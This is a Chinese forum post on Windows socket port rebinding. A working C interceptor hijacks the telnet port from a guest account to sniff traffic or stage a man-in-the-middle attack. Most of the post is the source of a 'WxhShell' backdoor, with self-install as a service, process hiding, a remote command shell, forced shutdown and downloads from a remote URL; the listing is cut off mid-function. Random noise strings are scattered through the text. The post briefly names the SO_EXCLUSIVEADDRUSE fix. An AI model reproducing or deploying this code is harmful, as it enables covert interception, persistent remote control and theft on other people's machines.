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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CbmT aEaP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mXd,{b'  
&_-,Nxsf  
  saddr.sin_family = AF_INET; l^ P[nQDH  
&@tD/Jw3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :a M ZJm  
zW^_w&fd^j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^gb3DNV~y  
G_GV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ' c[[H3s!;  
<l/QS3M  
  这意味着什么?意味着可以进行如下的攻击: tC0:w,C)  
Z)?i&y?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &Kuo|=f  
EZy:_xjZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AJ_''%$I3:  
 F?UI8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Arg604V3  
~)\9f 1O{^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A"(XrL-pV  
gnjh=anVX1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b&AGVWhh  
dW K; h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J#h2~Hz!  
B$R"Ntp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {E6M_qZ  
OAoTsqj6  
  #include f)`_su U  
  #include \J*~AT~5q  
  #include (twwDI  
  #include    [{]/9E /&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5K_KZL-  
  int main() P9Ye e!*H  
  { CH!>RRF  
  WORD wVersionRequested; dNH6%1(s]0  
  DWORD ret; VRuY8<E  
  WSADATA wsaData; bC_qoI<  
  BOOL val; O$F<x,  
  SOCKADDR_IN saddr; mlq+Z#9  
  SOCKADDR_IN scaddr; ;VhilWaF-  
  int err; h(q,-')l_  
  SOCKET s; %49P<vo`?  
  SOCKET sc; %w+"MkH _  
  int caddsize; c/:d$o-  
  HANDLE mt; !GB\-(  
  DWORD tid;   > -P UY  
  wVersionRequested = MAKEWORD( 2, 2 ); 0 rM'VgB  
  err = WSAStartup( wVersionRequested, &wsaData ); ;WydXQ}Q^  
  if ( err != 0 ) { =<,>dBs}\  
  printf("error!WSAStartup failed!\n"); ^HJvT)e4  
  return -1; <>=A6  
  } }e/#dMEi  
  saddr.sin_family = AF_INET; %sd1`1In  
   N_ 3$B=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mGss9eZa  
Ri[ v(Zf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DRp h?V\  
  saddr.sin_port = htons(23); Mnj\t3:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iLQFce7d|&  
  { L#t^:%   
  printf("error!socket failed!\n"); $ z4JUr!m  
  return -1; 5k%Gj T  
  } <OX_6d*@  
  val = TRUE; ( (.b&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O!uZykdX4!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K fM6(f:  
  { I},]Y~Y3  
  printf("error!setsockopt failed!\n"); R^v-%mG9  
  return -1; T;7=05k<_  
  } 1!(Og~#(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `^:>sU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r#8t @W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vy:-a G  
GSHJ?}U,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &@g~o0  
  { 79m',9{u  
  ret=GetLastError(); ,iUWLcOM  
  printf("error!bind failed!\n"); A_h|f5  
  return -1; \nfjz\"R?b  
  } !p:kEIZ)y  
  listen(s,2); Ge'[AhA  
  while(1) `S`,H  
  { V/p+Xv(Zt  
  caddsize = sizeof(scaddr); LS"_-4I}  
  //接受连接请求 _wp>AJ r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @ Sq =q=S  
  if(sc!=INVALID_SOCKET) prIPPeMdz  
  { a ~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !?AgAsSmc  
  if(mt==NULL) U?@ s`.  
  { Ff eX;pi  
  printf("Thread Creat Failed!\n"); D8OW|wVE  
  break; Yz%AKp  
  } ":qhO0  
  } "3&bh>#qY  
  CloseHandle(mt); UyFvj4SU  
  } ILN Yh3  
  closesocket(s); sJI" m'r=Z  
  WSACleanup(); aXv[~  
  return 0; ec8 iZ8h8  
  }   M0jC:*D`"  
  DWORD WINAPI ClientThread(LPVOID lpParam) =d+~l  
  { )9pRT dT  
  SOCKET ss = (SOCKET)lpParam; %`]&c)&#Z  
  SOCKET sc; G+_Q7-o&d6  
  unsigned char buf[4096]; pB;U*lt  
  SOCKADDR_IN saddr;  1{fu  
  long num; [Re.sX}$Y  
  DWORD val; f9%M:cl  
  DWORD ret; !t;B.[U *  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #<$pl]>}t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +.czj,Sq  
  saddr.sin_family = AF_INET; /8cfdP Ba  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GbXa=* <-<  
  saddr.sin_port = htons(23); l:@`.'-=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0: 1[F!]'b  
  { S17iYjy#8T  
  printf("error!socket failed!\n"); E;o "^[we  
  return -1; K/flg|uZ/V  
  } -XJXl}M.  
  val = 100; a< E\9DL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M~?2g.o'D  
  { jqzG=/0~{  
  ret = GetLastError(); 6"o,)e/z  
  return -1;  T)Uhp  
  } ,(;TV_@$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8wf[*6VwV  
  { kndN} Vq  
  ret = GetLastError(); >D\jyd$wh&  
  return -1; mXSs:FqE!  
  } Il4R R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P&sn IJ  
  { HV?Q{X K.b  
  printf("error!socket connect failed!\n"); vY"i^a`f  
  closesocket(sc); 'NAC4to;;  
  closesocket(ss); {Mv$~T|e7  
  return -1; .UGbo.e  
  }  Qi;62M  
  while(1) Ya*<me>`  
  { mNQ~9OJ1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nb30<h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0en Bq>vr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pb] EpyAW  
  num = recv(ss,buf,4096,0); {qJ(55  
  if(num>0) ev4f9Fhu  
  send(sc,buf,num,0); W2w A66MB  
  else if(num==0) 3oQ?VP  
  break; NMvNw?]  
  num = recv(sc,buf,4096,0); /8O;Q~a  
  if(num>0) UhX)?'J  
  send(ss,buf,num,0); Zk+c9,q  
  else if(num==0) %wQE lkB  
  break; xf7_|l  
  } nB9(y4  
  closesocket(ss);  WJ&a9]&C  
  closesocket(sc); gucgNpX  
  return 0 ; KsDovy<  
  } y5/LH~&Ov  
Hp(wR'(g&  
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========================================================== VprrklZ  
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下边附上一个代码,,WXhSHELL WbwS!F<au  
V|hr9  
========================================================== -Q MO*PY  
GlOSCJZ  
#include "stdafx.h" KBg5 _+l  
4(%LG)a4S  
#include <stdio.h> ~7$jW[i  
#include <string.h> 4> NmJrh  
#include <windows.h> oXgi#(y  
#include <winsock2.h> %jh gKq  
#include <winsvc.h> ..fbRt  
#include <urlmon.h> :\"V5  
>$:_M*5  
#pragma comment (lib, "Ws2_32.lib")  nJ|M  
#pragma comment (lib, "urlmon.lib") wv.HPmq  
oIv\Xdc81  
#define MAX_USER   100 // 最大客户端连接数 18WJ*q7:  
#define BUF_SOCK   200 // sock buffer ] L6LB \  
#define KEY_BUFF   255 // 输入 buffer nc9sfH3  
<3fY,qw  
#define REBOOT     0   // 重启 9#:B_?e=  
#define SHUTDOWN   1   // 关机 1wLEkp!~  
L(q~%  
#define DEF_PORT   5000 // 监听端口 % pQi}x  
43s8a  
#define REG_LEN     16   // 注册表键长度 &Vy.)0  
#define SVC_LEN     80   // NT服务名长度 ~F.kgX  
ZkqZO#nq C  
// 从dll定义API Oq[YbQ'GE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZkmY pi[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *q*$%H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eE5j6`5i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h1+y.4  
q+U&lw|"w  
// wxhshell配置信息 !%(PN3*  
struct WSCFG { m9mkZ:r(kV  
  int ws_port;         // 监听端口 Zo#c[9IaC  
  char ws_passstr[REG_LEN]; // 口令 |.?X ov]  
  int ws_autoins;       // 安装标记, 1=yes 0=no D zdKBJT+  
  char ws_regname[REG_LEN]; // 注册表键名 K)#6&\0tT  
  char ws_svcname[REG_LEN]; // 服务名 ld[BiP`B2V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "Ky&x$dje  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hiw>Q7W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |lMc6C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7qL B9r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M-/2{F[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S#b)RpY  
sf Zb$T J  
}; XaH;  
4O7 {a  
// default Wxhshell configuration YM&i  
struct WSCFG wscfg={DEF_PORT, [{.9#cQ "  
    "xuhuanlingzhe", f>[{1M]n\  
    1, }t0JI3  
    "Wxhshell", ddwokXx (  
    "Wxhshell", B) BR y%  
            "WxhShell Service", |e91KmiqJ  
    "Wrsky Windows CmdShell Service", jGEmf<q&u  
    "Please Input Your Password: ", |F49<7XB[~  
  1, fS]Z`U"  
  "http://www.wrsky.com/wxhshell.exe", Sr>5V  
  "Wxhshell.exe" zsr;37  
    }; ]92=PA>75  
>rY^Un{Z  
// 消息定义模块 i?D)XXB85  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |w.h97fj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l}~9xa}:D|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n um2HtU&%  
char *msg_ws_ext="\n\rExit."; TGZr [  
char *msg_ws_end="\n\rQuit."; e3WEsD+  
char *msg_ws_boot="\n\rReboot..."; >">grDX  
char *msg_ws_poff="\n\rShutdown..."; F./P,hhN9  
char *msg_ws_down="\n\rSave to "; "h:#'y$V  
59H~qE1Md  
char *msg_ws_err="\n\rErr!"; &F.L*M  
char *msg_ws_ok="\n\rOK!"; oA+'9/UY  
Kidbc Z  
char ExeFile[MAX_PATH]; Tbj}04;I  
int nUser = 0; q{XeRQ'/  
HANDLE handles[MAX_USER]; /hYFOZ  
int OsIsNt; qT^0 %O:  
"4L_BJZ  
SERVICE_STATUS       serviceStatus; 4U*CfdZZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ) ):w`^6  
:8U@KABH@h  
// 函数声明 2Yg\<Ps N  
int Install(void); NBD1k;  
int Uninstall(void); p7Z/%~0v:  
int DownloadFile(char *sURL, SOCKET wsh); 5z Pn-1uW  
int Boot(int flag); z{nd4qOsD  
void HideProc(void); 7!JBF{,=  
int GetOsVer(void);  g^))  
int Wxhshell(SOCKET wsl); Lj1>X2.gD  
void TalkWithClient(void *cs); /%AA\`: 6  
int CmdShell(SOCKET sock); "QmlW2ysi  
int StartFromService(void); f@ .s(i=z  
int StartWxhshell(LPSTR lpCmdLine); =D Tbz3<  
&%4A3.qE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a"8H(HAlNn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [Uw3.CVh  
{-51rAyi  
// 数据结构和表定义 K1t>5zm  
SERVICE_TABLE_ENTRY DispatchTable[] = }tbZ[:T{K  
{ |u.3Tp|3W  
{wscfg.ws_svcname, NTServiceMain}, QG 1vP.K  
{NULL, NULL} }'4aW_ta  
}; .q'{ 3  
ztC>*SX  
// 自我安装 \R,8xID_t  
int Install(void) [_HOD^  
{ w sbzGW~=  
  char svExeFile[MAX_PATH]; O+=C8  
  HKEY key; gp4@6HuUd  
  strcpy(svExeFile,ExeFile); 5UvqE_  
<[V1z=Eo/]  
// 如果是win9x系统,修改注册表设为自启动 Ph17(APt,Q  
if(!OsIsNt) { xzBUm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :z2G a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +THK Jn!>  
  RegCloseKey(key); c3J12+~;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <%m$ V5h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z L'krV  
  RegCloseKey(key); :`Xg0J+P  
  return 0; |H;+9(  
    } 4S*dNYc  
  } "]B%V!@  
} fz<GPw  
else { @"n]v)[4  
Svm'ds7>  
// 如果是NT以上系统,安装为系统服务 L/)Q1Mm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {YEGy  
if (schSCManager!=0) \Z_29L w=  
{ beFD}`  
  SC_HANDLE schService = CreateService G=&nwSL  
  ( J#?z/3v(  
  schSCManager, 8b< 'jft  
  wscfg.ws_svcname, !fG}<6&i  
  wscfg.ws_svcdisp, QW2SFpE  
  SERVICE_ALL_ACCESS, %VS+?4ww  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M9KoQS  
  SERVICE_AUTO_START, 4E@_Fn_#  
  SERVICE_ERROR_NORMAL, VVk8z6 W  
  svExeFile, MGsY3~!K  
  NULL, S&NWZ:E3[  
  NULL, newURb,-!  
  NULL, &e99P{\D  
  NULL, !rff/0/x"  
  NULL _z53r+A  
  ); j7b4wH\#  
  if (schService!=0) ?cB26Zrcb  
  { {=9"WN    
  CloseServiceHandle(schService); N;* wd<  
  CloseServiceHandle(schSCManager); ->2m/d4a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r?HbApV P  
  strcat(svExeFile,wscfg.ws_svcname); 2 @t?@,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $J*lD -h-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @gk{wh>c  
  RegCloseKey(key); unt{RVR%  
  return 0; P9 qZjBS  
    } =a(]@8$!1  
  } PBgU/zVn  
  CloseServiceHandle(schSCManager); T} K@ykT  
} WntolYd  
} gq050Bl)  
/#!1  
return 1; -GYJ)f  
} #1Ie v7w  
cN~F32<  
// 自我卸载 FLLfTkXdI  
int Uninstall(void) 0 D&-BAzi  
{ hSG1f`  
  HKEY key; 7-d.eNQl  
H.&"~eH  
if(!OsIsNt) { 6)_h'v<|M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jQ dIeQD+  
  RegDeleteValue(key,wscfg.ws_regname); =*KY)X  
  RegCloseKey(key); 8B3C[?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O8/r-?4.  
  RegDeleteValue(key,wscfg.ws_regname); YA~`R~9d  
  RegCloseKey(key); U;LX"'}  
  return 0; bd)Sb?  
  } :\~YbA  
} 8BX9JoDi  
} vo^2k13  
else { K?*p|&Fi?8  
<STE~ZmO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Q zk aXJ  
if (schSCManager!=0) ,Gy2$mglB  
{ OXF/4Oe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =J'&.@Dwz  
  if (schService!=0) `Af5%m[  
  { @P<aTRy,f  
  if(DeleteService(schService)!=0) { dlBr2 9  
  CloseServiceHandle(schService); )3)x/WM  
  CloseServiceHandle(schSCManager); lFa?l\jLXZ  
  return 0; ,e;_ Vb  
  } afd.v$63  
  CloseServiceHandle(schService); synueg  
  } qq>Qi(>  
  CloseServiceHandle(schSCManager); 7towjw r  
} vCn\_Nu;W&  
} ~=?^v[T1  
dY`P  
return 1; t(xe*xS  
} #Ht;5p>5  
ko6[Ej:TBo  
// 从指定url下载文件 {~ 1 ~V  
int DownloadFile(char *sURL, SOCKET wsh) 5W(`lgVs,  
{ &<t`EI];)4  
  HRESULT hr; ]fJ9.Js  
char seps[]= "/"; -=)+)9~G  
char *token; Q; BD|95nl  
char *file; C;oO=R3r  
char myURL[MAX_PATH]; e(vnnv?R{  
char myFILE[MAX_PATH]; yZ,S$tSR  
{VKP&{~O  
strcpy(myURL,sURL); .J \i!  
  token=strtok(myURL,seps); ]~4*ak=)5\  
  while(token!=NULL) Tfw5i,{  
  { cQ(,M  
    file=token; .cB>ab&  
  token=strtok(NULL,seps); Cw h[R  
  } U9"Ij}  
3 ]w a8|  
GetCurrentDirectory(MAX_PATH,myFILE); fK+[r1^  
strcat(myFILE, "\\"); ;$FMOMR  
strcat(myFILE, file); fkD-mRKw  
  send(wsh,myFILE,strlen(myFILE),0); ~LJtlJ 0  
send(wsh,"...",3,0); [uFv_G{H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'W/AYF^5  
  if(hr==S_OK) +{WZpP},v  
return 0; R_b)2FU1y  
else ZV$!dHW/  
return 1; tD> qHR  
6o~g3{Ow  
} U,Th-oU  
sn8r`59C  
// 系统电源模块 C5=m~  
int Boot(int flag) g&X X@I8+v  
{ =m U</F)  
  HANDLE hToken; `Wp y6o  
  TOKEN_PRIVILEGES tkp; Nl9}*3r  
"MgTfUIiyD  
  if(OsIsNt) { U|v@v@IBA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +5H1n(6)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "O8iO!:  
    tkp.PrivilegeCount = 1; 9XX:_9|I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '3TfW61]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 51`*VR]`K  
if(flag==REBOOT) { _vUId?9@+e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #-kx$(''V  
  return 0; @[~j|YH}  
} pPJE.[)V/  
else { a<P?4tbF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RU\MT'E>(  
  return 0; ? J6\?ct4  
} Qk].^'\  
  } 4_ kg/  
  else { o(g}eP,g }  
if(flag==REBOOT) { =/(R_BFna  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _EC H(  
  return 0; LNM#\fb  
} +d=8/3O%  
else { Y 9@ 2d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;2'/rEq4o  
  return 0; Os1=V  
} %QQJSake|  
} Z%QU5.  
T.q7~ba*  
return 1; oFp4* <\  
} )No>Q :t  
7|X.E  
// win9x进程隐藏模块 4']eJ==OH  
void HideProc(void) -S 0dr8E  
{ z W*Z  
,b74 m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YeB)]$'?u`  
  if ( hKernel != NULL ) /,JL \b  
  { 8!qzG4F/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !uAqY\Is  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ||'A9  
    FreeLibrary(hKernel); GyGF<%nq  
  } VIuzBmR|\  
i:x<Vi  
return; 'nfdOX.d  
} B }  
=A<a9@N}N  
// 获取操作系统版本 DVw 04ay%  
int GetOsVer(void) d ZxrIWx  
{ MR.c?P?0Q  
  OSVERSIONINFO winfo; f# sDG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ummoph7_@  
  GetVersionEx(&winfo); Y >U_l:_^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) isor%R!  
  return 1; 7rIEpN>*  
  else #F ;@Qi3z  
  return 0; j:[ #eC  
} AV;x'H7G  
NH!x6p]n  
// 客户端句柄模块 K#[ z5  
int Wxhshell(SOCKET wsl) uw{ K&Hxw  
{ B=|m._OL]n  
  SOCKET wsh; U\(T<WX,  
  struct sockaddr_in client; =o_zsDv  
  DWORD myID; !5K5;M_Ih"  
YkI_i(  
  while(nUser<MAX_USER) hd#MV!ti  
{ LteZ7e  
  int nSize=sizeof(client); Us4#O&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o=Ia{@   
  if(wsh==INVALID_SOCKET) return 1; $zJ!L  
dd!Q[]$ }  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SAokW,  
if(handles[nUser]==0) Tr "Bz!  
  closesocket(wsh); EsjZ;D, c(  
else #~`d ;MC  
  nUser++; ejlau#8"  
  } ~~{+?v6B]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z{A~d  
@K}Bll.E  
  return 0; '%KaAi$  
} 9&'HhJm  
{hBnEj^@  
// 关闭 socket PG3,MCf:  
void CloseIt(SOCKET wsh) 'b Kc;\  
{ +/!y#&C&*  
closesocket(wsh); }cERCS\t  
nUser--; Z^%aXaf8  
ExitThread(0); ]ujXPK=t  
} NJPp6RZ%  
58gkE94  
// 客户端请求句柄 YI+o:fGC5  
void TalkWithClient(void *cs) R)'[Tt`#R  
{ ]TSzT"_r~~  
#P;vc{ Iq  
  SOCKET wsh=(SOCKET)cs; @8U8>'zDE  
  char pwd[SVC_LEN]; F 8 gw3  
  char cmd[KEY_BUFF]; nD#uOep9  
char chr[1]; _TjRvILC  
int i,j; G!g];7PG(  
`_ )5K u}  
  while (nUser < MAX_USER) { r<EwtO+x  
:djbZ><  
if(wscfg.ws_passstr) { :;N2hnHoG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V7$-4%NL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c!J|vRA5  
  //ZeroMemory(pwd,KEY_BUFF); -Rj3cx  
      i=0; F tay8m@f  
  while(i<SVC_LEN) { koy0A/\%  
cD]#6PFA  
  // 设置超时 Z2&7HTz  
  fd_set FdRead; Ed>n/)Sm  
  struct timeval TimeOut; |!uC [=  
  FD_ZERO(&FdRead); :\"g}AX  
  FD_SET(wsh,&FdRead); c<imqDf  
  TimeOut.tv_sec=8; z?.XVk-  
  TimeOut.tv_usec=0; - e_B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /R[P sB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EL;OYW(  
\Vl)q>K _h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 17yg ~  
  pwd=chr[0]; ew*;mQd  
  if(chr[0]==0xd || chr[0]==0xa) { 5~=wia  
  pwd=0; gv/yfiA?  
  break; s+&iH  
  } vze|*dKS  
  i++; R/kfbV-b  
    } `{'h+v`  
C&&33L  
  // 如果是非法用户,关闭 socket /[UuHU5*R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #gRtCoew  
} .MW/XnCYs4  
s|-g)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GW!%DT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &ej |DM6  
884-\M"h  
while(1) { ms/Q-  
%^(} fu  
  ZeroMemory(cmd,KEY_BUFF); >^Y)@ J  
h#]LXs  
      // 自动支持客户端 telnet标准   \\$wg   
  j=0; K"g`,G6S  
  while(j<KEY_BUFF) { n-:n.JX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mZ4I}_\,  
  cmd[j]=chr[0]; yvV]|B@sO  
  if(chr[0]==0xa || chr[0]==0xd) { 1L<X+,]@  
  cmd[j]=0; rl XMrn  
  break; xqzB=0  
  } MFs W  
  j++; % e1`wMa  
    } SOQR(UT  
}!@X(S!do  
  // 下载文件 tnFhL&  
  if(strstr(cmd,"http://")) { ^1`T_+#[s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jn#Ok@tZ  
  if(DownloadFile(cmd,wsh)) h SU|rVi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}{Oj-:"CC  
  else |5me }!C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5g4xhYl70n  
  } <O9.GHV1v  
  else { w"A%@<V3Ec  
`(pe#Xxn  
    switch(cmd[0]) { Nj`Miv o  
  8 qwOZ d  
  // 帮助 # 3gdT  
  case '?': { &1ss @-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DWcEl:  
    break; Gkz~x Qy1T  
  } - xQJY)  
  // 安装 &z%DX   
  case 'i': {  7K &j  
    if(Install()) J_>nn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=_tjg  
    else xI^nA2g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z|sR `]K  
    break; Fn*)!,)  
    } ~:):.5o  
  // 卸载 &-4SA j  
  case 'r': { =\)qUs\z  
    if(Uninstall()) h"ko4b3^'@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # {|F2AM  
    else c4xXsUBQk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.(xa+z?  
    break; r_e]sOCb  
    } IC@-`S#F  
  // 显示 wxhshell 所在路径 Z*lZl8(`  
  case 'p': { 2[yfo8H  
    char svExeFile[MAX_PATH]; H&=3rkX  
    strcpy(svExeFile,"\n\r"); h!~u^Z.7<  
      strcat(svExeFile,ExeFile); & *!) d"  
        send(wsh,svExeFile,strlen(svExeFile),0); 5=9gH  
    break; vm`\0VGSW  
    } ~OOD#/  
  // 重启 v#Y9O6g]T  
  case 'b': { r`!S*zK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,P$Crs[  
    if(Boot(REBOOT)) lr&O@ 5"oy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~{ 0  
    else { =@ "'aCU/  
    closesocket(wsh); * 2s(TW  
    ExitThread(0); 0vi\o`**Mj  
    } _3 3YgO  
    break; _chX {_Hu-  
    } (X}Q'm$n\h  
  // 关机 #dm"!I>g  
  case 'd': { pPt w(5bH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +*P;Vb6D  
